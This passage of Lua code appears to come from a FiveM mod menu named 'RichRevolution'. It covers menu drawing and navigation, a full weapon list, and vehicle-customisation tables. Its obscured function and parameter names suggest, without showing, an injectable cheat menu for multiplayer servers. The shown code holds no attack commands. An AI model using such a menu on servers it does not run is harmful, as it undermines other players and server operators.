  2024. ["NENTER"] = 201, ["N4"] = 108, ["N5"] = 60, ["N6"] = 107, ["N+"] = 96, ["N-"] = 97, ["N7"] = 117, ["N8"] = 61, ["N9"] = 118
  2025. }
  2026. local keys = { up = 172, down = 173, left = 174, right = 175, select = 215, back = 194, }
  2027. local optionCount = 0
  2028.  
  2029. local currentKey = nil
  2030. local currentMenu = nil
  2031.  
  2032. local titleHeight = 0.11
  2033. local titleYOffset = 0.03
  2034. local titleScale = 1.0
  2035.  
  2036. local buttonHeight = 0.038
  2037. local buttonFont = 0
  2038. local buttonScale = 0.365
  2039. local buttonTextXOffset = 0.005
  2040. local buttonTextYOffset = 0.005
  2041.  
  2042. function math.round(num, numDecimalPlaces)
  2043. return tonumber(string.format("%." .. (numDecimalPlaces or 0) .. "f", num))
  2044. end
  2045.  
  2046. local function RGBou328h(frequency)
  2047. local result = {}
  2048. local curtime = GetGameTimer() / 1000
  2049.  
  2050. result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
  2051. result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
  2052. result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)
  2053.  
  2054. return result
  2055. end
  2056.  
  2057. local allWeapons = {
  2058. "WEAPON_KNIFE",
  2059. "WEAPON_KNUCKLE",
  2060. "WEAPON_NIGHTSTICK",
  2061. "WEAPON_HAMMER",
  2062. "WEAPON_BAT",
  2063. "WEAPON_GOLFCLUB",
  2064. "WEAPON_CROWBAR",
  2065. "WEAPON_BOTTLE",
  2066. "WEAPON_DAGGER",
  2067. "WEAPON_HATCHET",
  2068. "WEAPON_MACHETE",
  2069. "WEAPON_FLASHLIGHT",
  2070. "WEAPON_SWITCHBLADE",
  2071. "WEAPON_PISTOL",
  2072. "WEAPON_PISTOL_MK2",
  2073. "WEAPON_COMBATPISTOL",
  2074. "WEAPON_APPISTOL",
  2075. "WEAPON_PISTOL50",
  2076. "WEAPON_SNSPISTOL",
  2077. "WEAPON_HEAVYPISTOL",
  2078. "WEAPON_VINTAGEPISTOL",
  2079. "WEAPON_STUNGUN",
  2080. "WEAPON_FLAREGUN",
  2081. "WEAPON_MARKSMANPISTOL",
  2082. "WEAPON_REVOLVER",
  2083. "WEAPON_MICROSMG",
  2084. "WEAPON_SMG",
  2085. "WEAPON_SMG_MK2",
  2086. "WEAPON_ASSAULTSMG",
  2087. "WEAPON_MG",
  2088. "WEAPON_COMBATMG",
  2089. "WEAPON_COMBATMG_MK2",
  2090. "WEAPON_COMBATPDW",
  2091. "WEAPON_GUSENBERG",
  2092. "WEAPON_MACHINEPISTOL",
  2093. "WEAPON_ASSAULTRIFLE",
  2094. "WEAPON_ASSAULTRIFLE_MK2",
  2095. "WEAPON_CARBINERIFLE",
  2096. "WEAPON_CARBINERIFLE_MK2",
  2097. "WEAPON_ADVANCEDRIFLE",
  2098. "WEAPON_SPECIALCARBINE",
  2099. "WEAPON_BULLPUPRIFLE",
  2100. "WEAPON_COMPACTRIFLE",
  2101. "WEAPON_PUMPSHOTGUN",
  2102. "WEAPON_SAWNOFFSHOTGUN",
  2103. "WEAPON_BULLPUPSHOTGUN",
  2104. "WEAPON_ASSAULTSHOTGUN",
  2105. "WEAPON_MUSKET",
  2106. "WEAPON_HEAVYSHOTGUN",
  2107. "WEAPON_DBSHOTGUN",
  2108. "WEAPON_SNIPERRIFLE",
  2109. "WEAPON_HEAVYSNIPER",
  2110. "WEAPON_HEAVYSNIPER_MK2",
  2111. "WEAPON_MARKSMANRIFLE",
  2112. "WEAPON_GRENADELAUNCHER",
  2113. "WEAPON_GRENADELAUNCHER_SMOKE",
  2114. "WEAPON_RPG",
  2115. "WEAPON_STINGER",
  2116. "WEAPON_FIREWORK",
  2117. "WEAPON_HOMINGLAUNCHER",
  2118. "WEAPON_GRENADE",
  2119. "WEAPON_STICKYBOMB",
  2120. "WEAPON_PROXMINE",
  2121. "WEAPON_BZGAS",
  2122. "WEAPON_SMOKEGRENADE",
  2123. "WEAPON_MOLOTOV",
  2124. "WEAPON_FIREEXTINGUISHER",
  2125. "WEAPON_PETROLCAN",
  2126. "WEAPON_SNOWBALL",
  2127. "WEAPON_FLARE",
  2128. "WEAPON_BALL",
  2129. "WEAPON_MINIGUN"
  2130. }
  2131.  
  2132. local function debugPrint(text)
  2133. if RichRevolution.debug then
  2134. Citizen.Trace("[Plane] "..tostring(text))
  2135. end
  2136. end
  2137.  
  2138.  
  2139. local function setMenuProperty(id, property, value)
  2140. if id and menus[id] then
  2141. menus[id][property] = value
  2142. debugPrint(id.." menu property changed: { "..tostring(property)..", "..tostring(value).." }")
  2143. end
  2144. end
  2145.  
  2146. function RichRevolution.SetSpriteColor(id, r, g, b, a)
  2147. setMenuProperty(id, 'spriteColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or menus[id].menuBackgroundColor.a })
  2148. end
  2149.  
  2150. local function isMenuVisible(id)
  2151. if id and menus[id] then
  2152. return menus[id].visible
  2153. else
  2154. return false
  2155. end
  2156. end
  2157.  
  2158. if GetVehiclePedIsUsing(PlayerPedId()) then
  2159. veh = GetVehiclePedIsUsing(PlayerPedId())
  2160. end
  2161.  
  2162. local bv = false
  2163.  
  2164. local bx = GetPlayerServerId(PlayerPedId(-1))
  2165. local by = GetPlayerName(bx)
  2166.  
  2167. local bl = {
  2168. {
  2169. name = "~h~Spoilers",
  2170. id = 0
  2171. },
  2172. {
  2173. name = "~h~Front Bumper",
  2174. id = 1
  2175. },
  2176. {
  2177. name = "~h~Rear Bumper",
  2178. id = 2
  2179. },
  2180. {
  2181. name = "~h~Side Skirt",
  2182. id = 3
  2183. },
  2184. {
  2185. name = "~h~Exhaust",
  2186. id = 4
  2187. },
  2188. {
  2189. name = "~h~Frame",
  2190. id = 5
  2191. },
  2192. {
  2193. name = "~h~Grille",
  2194. id = 6
  2195. },
  2196. {
  2197. name = "~h~Hood",
  2198. id = 7
  2199. },
  2200. {
  2201. name = "~h~Fender",
  2202. id = 8
  2203. },
  2204. {
  2205. name = "~h~Right Fender",
  2206. id = 9
  2207. },
  2208. {
  2209. name = "~h~Roof",
  2210. id = 10
  2211. },
  2212. {
  2213. name = "~h~Vanity Plates",
  2214. id = 25
  2215. },
  2216. {
  2217. name = "~h~Trim",
  2218. id = 27
  2219. },
  2220. {
  2221. name = "~h~Ornaments",
  2222. id = 28
  2223. },
  2224. {
  2225. name = "~h~Dashboard",
  2226. id = 29
  2227. },
  2228. {
  2229. name = "~h~Dial",
  2230. id = 30
  2231. },
  2232. {
  2233. name = "~h~Door Speaker",
  2234. id = 31
  2235. },
  2236. {
  2237. name = "~h~Seats",
  2238. id = 32
  2239. },
  2240. {
  2241. name = "~h~Steering Wheel",
  2242. id = 33
  2243. },
  2244. {
  2245. name = "~h~Shifter Leavers",
  2246. id = 34
  2247. },
  2248. {
  2249. name = "~h~Plaques",
  2250. id = 35
  2251. },
  2252. {
  2253. name = "~h~Speakers",
  2254. id = 36
  2255. },
  2256. {
  2257. name = "~h~Trunk",
  2258. id = 37
  2259. },
  2260. {
  2261. name = "~h~Hydraulics",
  2262. id = 38
  2263. },
  2264. {
  2265. name = "~h~Engine Block",
  2266. id = 39
  2267. },
  2268. {
  2269. name = "~h~Air Filter",
  2270. id = 40
  2271. },
  2272. {
  2273. name = "~h~Struts",
  2274. id = 41
  2275. },
  2276. {
  2277. name = "~h~Arch Cover",
  2278. id = 42
  2279. },
  2280. {
  2281. name = "~h~Aerials",
  2282. id = 43
  2283. },
  2284. {
  2285. name = "~h~Trim 2",
  2286. id = 44
  2287. },
  2288. {
  2289. name = "~h~Tank",
  2290. id = 45
  2291. },
  2292. {
  2293. name = "~h~Windows",
  2294. id = 46
  2295. },
  2296. {
  2297. name = "~h~Livery",
  2298. id = 48
  2299. },
  2300. {
  2301. name = "~h~Horns",
  2302. id = 14
  2303. },
  2304. {
  2305. name = "~h~Wheels",
  2306. id = 23
  2307. },
  2308. {
  2309. name = "~h~Wheel Types",
  2310. id = "wheeltypes"
  2311. },
  2312. {
  2313. name = "~h~Extras",
  2314. id = "extra"
  2315. },
  2316. {
  2317. name = "~h~Neons",
  2318. id = "neon"
  2319. },
  2320. {
  2321. name = "~h~Paint",
  2322. id = "paint"
  2323. },
  2324. {
  2325. name = "~h~Headlights Color",
  2326. id = "headlight"
  2327. },
  2328. {
  2329. name = "~h~Licence Plate",
  2330. id = "licence"
  2331. }
  2332. }
  2333.  
  2334.  
  2335. local function setMenuVisible(id, visible, holdCurrent)
  2336. if id and menus[id] then
  2337. setMenuProperty(id, "visible", visible)
  2338.  
  2339. if not holdCurrent and menus[id] then
  2340. setMenuProperty(id, "currentOption", 1)
  2341. end
  2342.  
  2343. if visible then
  2344. if id ~= currentMenu and isMenuVisible(currentMenu) then
  2345. setMenuVisible(currentMenu, false)
  2346. end
  2347.  
  2348. currentMenu = id
  2349. end
  2350. end
  2351. end
  2352.  
  2353.  
  2354. local function drawText(text, x, y, font, color, scale, center, shadow, alignRight)
  2355. SetTextColour(color.r, color.g, color.b, color.a)
  2356. SetTextFont(font)
  2357. SetTextScale(scale, scale)
  2358.  
  2359. if shadow then
  2360. SetTextDropShadow(2, 2, 0, 0, 0)
  2361. end
  2362.  
  2363. if menus[currentMenu] then
  2364. if center then
  2365. SetTextCentre(center)
  2366. elseif alignRight then
  2367. SetTextWrap(menus[currentMenu].x, menus[currentMenu].x + menus[currentMenu].width - buttonTextXOffset)
  2368. SetTextRightJustify(true)
  2369. end
  2370. end
  2371.  
  2372. BeginTextCommandDisplayText("STRING")
  2373. AddTextComponentSubstringPlayerName(text)
  2374. EndTextCommandDisplayText(x, y)
  2375. end
  2376.  
  2377.  
  2378. local function drawRect(x, y, width, height, color)
  2379. DrawRect(x, y, width, height, color.r, color.g, color.b, color.a)
  2380. end
  2381.  
  2382.  
  2383. local function drawTitle()
  2384. if menus[currentMenu] then
  2385. local x = menus[currentMenu].x + menus[currentMenu].width / 2
  2386. local y = menus[currentMenu].y + titleHeight / 2
  2387.  
  2388. if menus[currentMenu].titleBackgroundSprite then
  2389. DrawSprite(menus[currentMenu].titleBackgroundSprite.dict, menus[currentMenu].titleBackgroundSprite.name, x, y, menus[currentMenu].width, titleHeight, 0., 255, 255, 255, 255)
  2390. else
  2391. drawRect(x, y, menus[currentMenu].width, titleHeight, menus[currentMenu].titleBackgroundColor)
  2392. end
  2393.  
  2394. drawText(menus[currentMenu].title, x, y - titleHeight / 2 + titleYOffset, menus[currentMenu].titleFont, menus[currentMenu].titleColor, titleScale, true)
  2395. end
  2396. end
  2397.  
  2398.  
  2399. local function drawSubTitle()
  2400. if menus[currentMenu] then
  2401. local x = menus[currentMenu].x + menus[currentMenu].width / 2
  2402. local y = menus[currentMenu].y + titleHeight + buttonHeight / 2
  2403.  
  2404. local subTitleColor = { r = 255, g = 255, b = 255, a = 0 }
  2405.  
  2406. drawRect(x, y, menus[currentMenu].width, buttonHeight, menus[currentMenu].subTitleBackgroundColor)
  2407. drawText(menus[currentMenu].subTitle, menus[currentMenu].x + buttonTextXOffset, y - buttonHeight / 2 + buttonTextYOffset, buttonFont, subTitleColor, buttonScale, false)
  2408.  
  2409. if optionCount > menus[currentMenu].maxOptionCount then
  2410. drawText(tostring(menus[currentMenu].currentOption).." / "..tostring(optionCount), menus[currentMenu].x + menus[currentMenu].width, y - buttonHeight / 2 + buttonTextYOffset, buttonFont, subTitleColor, buttonScale, false, false, true)
  2411. end
  2412. end
  2413. end
  2414.  
  2415.  
  2416. local function drawButton(text, subText)
  2417. local x = menus[currentMenu].x + menus[currentMenu].width / 2
  2418. local multiplier = nil
  2419.  
  2420. if menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount and optionCount <= menus[currentMenu].maxOptionCount then
  2421. multiplier = optionCount
  2422. elseif optionCount > menus[currentMenu].currentOption - menus[currentMenu].maxOptionCount and optionCount <= menus[currentMenu].currentOption then
  2423. multiplier = optionCount - (menus[currentMenu].currentOption - menus[currentMenu].maxOptionCount)
  2424. end
  2425.  
  2426. if multiplier then
  2427. local y = menus[currentMenu].y + titleHeight + buttonHeight + (buttonHeight * multiplier) - buttonHeight / 2
  2428. local backgroundColor = nil
  2429. local textColor = nil
  2430. local subTextColor = nil
  2431. local shadow = false
  2432.  
  2433. if menus[currentMenu].currentOption == optionCount then
  2434. backgroundColor = menus[currentMenu].menuFocusBackgroundColor
  2435. textColor = menus[currentMenu].menuFocusTextColor
  2436. subTextColor = menus[currentMenu].menuFocusTextColor
  2437. else
  2438. backgroundColor = menus[currentMenu].menuBackgroundColor
  2439. textColor = menus[currentMenu].menuTextColor
  2440. subTextColor = menus[currentMenu].menuSubTextColor
  2441. shadow = true
  2442. end
  2443.  
  2444. drawRect(x, y, menus[currentMenu].width, buttonHeight, backgroundColor)
  2445. drawText(text, menus[currentMenu].x + buttonTextXOffset, y - (buttonHeight / 2) + buttonTextYOffset, buttonFont, textColor, buttonScale, false, shadow)
  2446.  
  2447. if subText then
  2448. drawText(subText, menus[currentMenu].x + buttonTextXOffset, y - buttonHeight / 2 + buttonTextYOffset, buttonFont, subTextColor, buttonScale, false, shadow, true)
  2449. end
  2450. end
  2451. end
  2452.  
  2453.  
  2454. function RichRevolution.CreateMenu(id, title)
  2455. menus[id] = { }
  2456. menus[id].title = title
  2457.  
  2458. menus[id].visible = false
  2459.  
  2460. menus[id].previousMenu = nil
  2461.  
  2462. menus[id].aboutToBeClosed = false
  2463.  
  2464. menus[id].x = 0.75
  2465. menus[id].y = 0.1
  2466. menus[id].width = 0.225
  2467.  
  2468. menus[id].currentOption = 1
  2469. menus[id].maxOptionCount = 13
  2470.  
  2471. menus[id].titleFont = 1
  2472. menus[id].titleColor = { r = 255, g = 255, b = 255, a = 255 }
  2473. menus[id].titleBackgroundColor = { r = 0, g = 0, b = 0, a = 180 }
  2474. menus[id].titleBackgroundSprite = nil
  2475.  
  2476. menus[id].menuTextColor = { r = 0, g = 0, b = 0, a = 255 }
  2477. menus[id].menuSubTextColor = { r = 255, g = 255, b = 255, a = 255 }
  2478. menus[id].menuFocusTextColor = { r = 0, g = 0, b = 0, a = 255 }
  2479. menus[id].menuFocusBackgroundColor = { r = 255, g = 255, b = 255, a = 180 }
  2480. menus[id].menuBackgroundColor = { r = 255, g = 102, b = 255, a = 155 }
  2481.  
  2482. menus[id].subTitleBackgroundColor = { r = 0, g = 0, b = 0, a = 180 }
  2483.  
  2484. menus[id].buttonPressedSound = { name = "SELECT", set = "HUD_FRONTEND_DEFAULT_SOUNDSET" }
  2485.  
  2486. debugPrint(tostring(id).." menu created")
  2487. end
  2488.  
  2489.  
  2490. function RichRevolution.CreateSubMenu(id, parent, subTitle)
  2491. if menus[parent] then
  2492. RichRevolution.CreateMenu(id, menus[parent].title)
  2493.  
  2494. if subTitle then
  2495. setMenuProperty(id, "subTitle", string.upper(subTitle))
  2496. else
  2497. setMenuProperty(id, "subTitle", string.upper(menus[parent].subTitle))
  2498. end
  2499.  
  2500. setMenuProperty(id, "previousMenu", parent)
  2501.  
  2502. setMenuProperty(id, "x", menus[parent].x)
  2503. setMenuProperty(id, "y", menus[parent].y)
  2504. setMenuProperty(id, "maxOptionCount", menus[parent].maxOptionCount)
  2505. setMenuProperty(id, "titleFont", menus[parent].titleFont)
  2506. setMenuProperty(id, "titleColor", menus[parent].titleColor)
  2507. setMenuProperty(id, "titleBackgroundColor", menus[parent].titleBackgroundColor)
  2508. setMenuProperty(id, "titleBackgroundSprite", menus[parent].titleBackgroundSprite)
  2509. setMenuProperty(id, "menuTextColor", menus[parent].menuTextColor)
  2510. setMenuProperty(id, "menuSubTextColor", menus[parent].menuSubTextColor)
  2511. setMenuProperty(id, "menuFocusTextColor", menus[parent].menuFocusTextColor)
  2512. setMenuProperty(id, "menuFocusBackgroundColor", menus[parent].menuFocusBackgroundColor)
  2513. setMenuProperty(id, "menuBackgroundColor", menus[parent].menuBackgroundColor)
  2514. setMenuProperty(id, "subTitleBackgroundColor", menus[parent].subTitleBackgroundColor)
  2515. else
  2516. debugPrint("Failed to create "..tostring(id).." submenu: "..tostring(parent).." parent menu doesn\"t exist")
  2517. end
  2518. end
  2519.  
  2520.  
  2521. function RichRevolution.CurrentMenu()
  2522. return currentMenu
  2523. end
  2524.  
  2525.  
  2526. function trynaskidhuh(id)
  2527. if id and menus[id] then
  2528. PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  2529. setMenuVisible(id, true)
  2530. debugPrint(tostring(id).." menu opened")
  2531. else
  2532. debugPrint("Failed to open "..tostring(id).." menu: it doesn\"t exist")
  2533. end
  2534. end
  2535.  
  2536.  
  2537. function RichRevolution.IsMenuOpened(id)
  2538. return isMenuVisible(id)
  2539. end
  2540.  
  2541.  
  2542. function RichRevolution.IsAnyMenuOpened()
  2543. for id, _ in pairs(menus) do
  2544. if isMenuVisible(id) then return true end
  2545. end
  2546.  
  2547. return false
  2548. end
  2549.  
  2550.  
  2551. function RichRevolution.IsMenuAboutToBeClosed()
  2552. if menus[currentMenu] then
  2553. return menus[currentMenu].aboutToBeClosed
  2554. else
  2555. return false
  2556. end
  2557. end
  2558.  
  2559.  
  2560. function RichRevolution.CloseMenu()
  2561. if menus[currentMenu] then
  2562. if menus[currentMenu].aboutToBeClosed then
  2563. menus[currentMenu].aboutToBeClosed = false
  2564. setMenuVisible(currentMenu, false)
  2565. debugPrint(tostring(currentMenu).." menu closed")
  2566. PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  2567. optionCount = 0
  2568. currentMenu = nil
  2569. currentKey = nil
  2570. else
  2571. menus[currentMenu].aboutToBeClosed = true
  2572. debugPrint(tostring(currentMenu).." menu about to be closed")
  2573. end
  2574. end
  2575. end
  2576.  
  2577.  
  2578. function RichRevolution.Button(text, subText)
  2579. local buttonText = text
  2580. if subText then
  2581. buttonText = "{ "..tostring(buttonText)..", "..tostring(subText).." }"
  2582. end
  2583.  
  2584. if menus[currentMenu] then
  2585. optionCount = optionCount + 1
  2586.  
  2587. local isCurrent = menus[currentMenu].currentOption == optionCount
  2588.  
  2589. drawButton(text, subText)
  2590.  
  2591. if isCurrent then
  2592. if currentKey == keys.select then
  2593. PlaySoundFrontend(-1, menus[currentMenu].buttonPressedSound.name, menus[currentMenu].buttonPressedSound.set, true)
  2594. debugPrint(buttonText.." button pressed")
  2595. return true
  2596. elseif currentKey == keys.left or currentKey == keys.right then
  2597. PlaySoundFrontend(-1, "NAV_UP_DOWN", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  2598. end
  2599. end
  2600.  
  2601. return false
  2602. else
  2603. debugPrint("Failed to create "..buttonText.." button: "..tostring(currentMenu).." menu doesn\"t exist")
  2604.  
  2605. return false
  2606. end
  2607. end
  2608.  
  2609.  
  2610. function RichRevolution.MenuButton(text, id)
  2611. if menus[id] then
  2612. if RichRevolution.Button(text) then
  2613. setMenuVisible(currentMenu, false)
  2614. setMenuVisible(id, true, true)
  2615.  
  2616. return true
  2617. end
  2618. else
  2619. debugPrint("Failed to create "..tostring(text).." menu button: "..tostring(id).." submenu doesn\"t exist")
  2620. end
  2621.  
  2622. return false
  2623. end
  2624.  
  2625. local bm = {
  2626. {
  2627. name = "~h~~r~Engine",
  2628. id = 11
  2629. },
  2630. {
  2631. name = "~h~~b~Brakes",
  2632. id = 12
  2633. },
  2634. {
  2635. name = "~h~~g~Transmission",
  2636. id = 13
  2637. },
  2638. {
  2639. name = "~h~~y~Suspension",
  2640. id = 15
  2641. },
  2642. {
  2643. name = "~h~~b~Armor",
  2644. id = 16
  2645. }
  2646. }
  2647.  
  2648. function RichRevolution.CheckBox(text, checked, callback)
  2649. if RichRevolution.Button(text, checked and "~g~~h~On" or "~h~~c~Off") then
  2650. checked = not checked
  2651. debugPrint(tostring(text).." checkbox changed to "..tostring(checked))
  2652. if callback then callback(checked) end
  2653.  
  2654. return true
  2655. end
  2656.  
  2657. return false
  2658. end
  2659.  
  2660.  
  2661. function RichRevolution.ComboBox(text, items, currentIndex, selectedIndex, callback)
  2662. local itemsCount = #items
  2663. local selectedItem = items[currentIndex]
  2664. local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)
  2665.  
  2666. if itemsCount > 1 and isCurrent then
  2667. selectedItem = "← "..tostring(selectedItem).." →"
  2668. end
  2669.  
  2670. if RichRevolution.Button(text, selectedItem) then
  2671. selectedIndex = currentIndex
  2672. callback(currentIndex, selectedIndex)
  2673. return true
  2674. elseif isCurrent then
  2675. if currentKey == keys.left then
  2676. if currentIndex > 1 then currentIndex = currentIndex - 1 else currentIndex = itemsCount end
  2677. elseif currentKey == keys.right then
  2678. if currentIndex < itemsCount then currentIndex = currentIndex + 1 else currentIndex = 1 end
  2679. end
  2680. else
  2681. currentIndex = selectedIndex
  2682. end
  2683.  
  2684. callback(currentIndex, selectedIndex)
  2685. return false
  2686. end
  2687.  
  2688. function RichRevolution.Display()
  2689. if isMenuVisible(currentMenu) then
  2690. if menus[currentMenu].aboutToBeClosed then
  2691. RichRevolution.CloseMenu()
  2692. else
  2693. ClearAllHelpMessages()
  2694.  
  2695. drawTitle()
  2696. drawSubTitle()
  2697.  
  2698. currentKey = nil
  2699.  
  2700. if IsControlJustReleased(1, keys.down) then
  2701. PlaySoundFrontend(-1, "NAV_UP_DOWN", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  2702.  
  2703. if menus[currentMenu].currentOption < optionCount then
  2704. menus[currentMenu].currentOption = menus[currentMenu].currentOption + 1
  2705. else
  2706. menus[currentMenu].currentOption = 1
  2707. end
  2708. elseif IsControlJustReleased(1, keys.up) then
  2709. PlaySoundFrontend(-1, "NAV_UP_DOWN", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  2710.  
  2711. if menus[currentMenu].currentOption > 1 then
  2712. menus[currentMenu].currentOption = menus[currentMenu].currentOption - 1
  2713. else
  2714. menus[currentMenu].currentOption = optionCount
  2715. end
  2716. elseif IsControlJustReleased(1, keys.left) then
  2717. currentKey = keys.left
  2718. elseif IsControlJustReleased(1, keys.right) then
  2719. currentKey = keys.right
  2720. elseif IsControlJustReleased(1, keys.select) then
  2721. currentKey = keys.select
  2722. elseif IsControlJustReleased(1, keys.back) then
  2723. if menus[menus[currentMenu].previousMenu] then
  2724. PlaySoundFrontend(-1, "BACK", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  2725. setMenuVisible(menus[currentMenu].previousMenu, true)
  2726. else
  2727. RichRevolution.CloseMenu()
  2728. end
  2729. end
  2730.  
  2731. optionCount = 0
  2732. end
  2733. end
  2734. end
  2735.  
  2736.  
  2737. function RichRevolution.SetMenuWidth(id, width)
  2738. setMenuProperty(id, "width", width)
  2739. end
  2740.  
  2741.  
  2742. function RichRevolution.SetMenuX(id, x)
  2743. setMenuProperty(id, "x", x)
  2744. end
  2745.  
  2746.  
  2747. function RichRevolution.SetMenuY(id, y)
  2748. setMenuProperty(id, "y", y)
  2749. end
  2750.  
  2751.  
  2752. function RichRevolution.SetMenuMaxOptionCountOnScreen(id, count)
  2753. setMenuProperty(id, "maxOptionCount", count)
  2754. end
  2755.  
  2756.  
  2757. function RichRevolution.SetTitle(id, title)
  2758. setMenuProperty(id, "title", title)
  2759. end
  2760.  
  2761.  
  2762. function RichRevolution.SetTitleColor(id, r, g, b, a)
  2763. setMenuProperty(id, "titleColor", { ["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].titleColor.a })
  2764. end
  2765.  
  2766.  
  2767. function RichRevolution.SetTitleBackgroundColor(id, r, g, b, a)
  2768. setMenuProperty(id, "titleBackgroundColor", { ["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].titleBackgroundColor.a })
  2769. end
  2770.  
  2771.  
  2772. function RichRevolution.SetTitleBackgroundSprite(id, textureDict, textureName)
  2773. RequestStreamedTextureDict(textureDict)
  2774. setMenuProperty(id, "titleBackgroundSprite", { dict = textureDict, name = textureName })
  2775. end
  2776.  
  2777.  
  2778. function RichRevolution.SetSubTitle(id, text)
  2779. setMenuProperty(id, "subTitle", string.upper(text))
  2780. end
  2781.  
  2782.  
  2783. function RichRevolution.SetMenuBackgroundColor(id, r, g, b, a)
  2784. setMenuProperty(id, "menuBackgroundColor", { ["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuBackgroundColor.a })
  2785. end
  2786.  
  2787.  
  2788. function RichRevolution.SetMenuTextColor(id, r, g, b, a)
  2789. setMenuProperty(id, "menuTextColor", { ["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuTextColor.a })
  2790. end
  2791.  
  2792. function RichRevolution.SetMenuSubTextColor(id, r, g, b, a)
  2793. setMenuProperty(id, "menuSubTextColor", { ["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuSubTextColor.a })
  2794. end
  2795.  
  2796. function RichRevolution.SetMenuFocusColor(id, r, g, b, a)
  2797. setMenuProperty(id, "menuFocusColor", { ["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuFocusColor.a })
  2798. end
  2799.  
  2800.  
  2801. function RichRevolution.SetMenuButtonPressedSound(id, name, set)
  2802. setMenuProperty(id, "buttonPressedSound", { ["name"] = name, ["set"] = set })
  2803. end
  2804.  
  2805. function drawNotification(text)
  2806. SetNotificationTextEntry("STRING")
  2807. AddTextComponentString(text)
  2808. DrawNotification(false, false)
  2809. end
  2810.  
  2811.  
  2812. function getEntity(player)
  2813. local result, entity = GetEntityPlayerIsFreeAimingAt(player, Citizen.ReturnResultAnyway())
  2814. return entity
  2815. end
  2816.  
  2817. local function bf(u,kedtnyTylyxIBQelrCkvqcErxJSgyiqKheFarAEkWVPLbNAOWUgoFc,riNXBfISndxkHbIUAdmpVnQHstshQu48y34ELCNkcesVCDvoiVxmVwprvl)
  2818. SetTextFont(0)
  2819. SetTextProportional(1)
  2820. SetTextScale(0.0,0.4)
  2821. SetTextDropshadow(1,0,0,0,255)
  2822. SetTextEdge(1,0,0,0,255)
  2823. SetTextDropShadow()
  2824. SetTextOutline()
  2825. SetTextEntry("STRING")
  2826. AddTextComponentString(u)
  2827. DrawText(kedtnyTylyxIBQelrCkvqcErxJSgyiqKheFarAEkWVPLbNAOWUgoFc,riNXBfISndxkHbIUAdmpVnQHstshQu48y34ELCNkcesVCDvoiVxmVwprvl)
  2828. end
  2829.  
  2830. local bn = {
  2831. {
  2832. name = "~h~Blue on White 2",
  2833. id = 0
  2834. },
  2835. {
  2836. name = "~h~Blue on White 3",
  2837. id = 4
  2838. },
  2839. {
  2840. name = "~h~Yellow on Blue",
  2841. id = 2
  2842. },
  2843. {
  2844. name = "~h~Yellow on Black",
  2845. id = 1
  2846. },
  2847. {
  2848. name = "~h~North Yankton",
  2849. id = 5
  2850. }
  2851. }
  2852.  
  2853. local bp = {
  2854. ["Stock Horn"] = -1,
  2855. ["Truck Horn"] = 1,
  2856. ["Police Horn"] = 2,
  2857. ["Clown Horn"] = 3,
  2858. ["Musical Horn 1"] = 4,
  2859. ["Musical Horn 2"] = 5,
  2860. ["Musical Horn 3"] = 6,
  2861. ["Musical Horn 4"] = 7,
  2862. ["Musical Horn 5"] = 8,
  2863. ["Sad Trombone Horn"] = 9,
  2864. ["Classical Horn 1"] = 10,
  2865. ["Classical Horn 2"] = 11,
  2866. ["Classical Horn 3"] = 12,
  2867. ["Classical Horn 4"] = 13,
  2868. ["Classical Horn 5"] = 14,
  2869. ["Classical Horn 6"] = 15,
  2870. ["Classical Horn 7"] = 16,
  2871. ["Scaledo Horn"] = 17,
  2872. ["Scalere Horn"] = 18,
  2873. ["Salemi Horn"] = 19,
  2874. ["Scalefa Horn"] = 20,
  2875. ["Scalesol Horn"] = 21,
  2876. ["Scalela Horn"] = 22,
  2877. ["Scaleti Horn"] = 23,
  2878. ["Scaledo Horn High"] = 24,
  2879. ["Jazz Horn 1"] = 25,
  2880. ["Jazz Horn 2"] = 26,
  2881. ["Jazz Horn 3"] = 27,
  2882. ["Jazz Loop Horn"] = 28,
  2883. ["Starspangban Horn 1"] = 28,
  2884. ["Starspangban Horn 2"] = 29,
  2885. ["Starspangban Horn 3"] = 30,
  2886. ["Starspangban Horn 4"] = 31,
  2887. ["Classical Loop 1"] = 32,
  2888. ["Classical Horn 8"] = 33,
  2889. ["Classical Loop 2"] = 34
  2890. }
  2891. local bq = {
  2892. ["White"] = {
  2893. 255,
  2894. 255,
  2895. 255
  2896. },
  2897. ["Blue"] = {
  2898. 0,
  2899. 0,
  2900. 255
  2901. },
  2902. ["Electric Blue"] = {
  2903. 0,
  2904. 150,
  2905. 255
  2906. },
  2907. ["Mint Green"] = {
  2908. 50,
  2909. 255,
  2910. 155
  2911. },
  2912. ["Lime Green"] = {
  2913. 0,
  2914. 255,
  2915. 0
  2916. },
  2917. ["Yellow"] = {
  2918. 255,
  2919. 255,
  2920. 0
  2921. },
  2922. ["Golden Shower"] = {
  2923. 204,
  2924. 204,
  2925. 0
  2926. },
  2927. ["Orange"] = {
  2928. 255,
  2929. 128,
  2930. 0
  2931. },
  2932. ["Red"] = {
  2933. 255,
  2934. 0,
  2935. 0
  2936. },
  2937. ["Pony Pink"] = {
  2938. 255,
  2939. 102,
  2940. 255
  2941. },
  2942. ["Hot Pink"] = {
  2943. 255,
  2944. 0,
  2945. 255
  2946. },
  2947. ["Purple"] = {
  2948. 153,
  2949. 0,
  2950. 153
  2951. }
  2952. }
  2953.  
  2954.  
  2955. local br = {
  2956. {
  2957. name = "~h~Black",
  2958. id = 0
  2959. },
  2960. {
  2961. name = "~h~Carbon Black",
  2962. id = 147
  2963. },
  2964. {
  2965. name = "~h~Graphite",
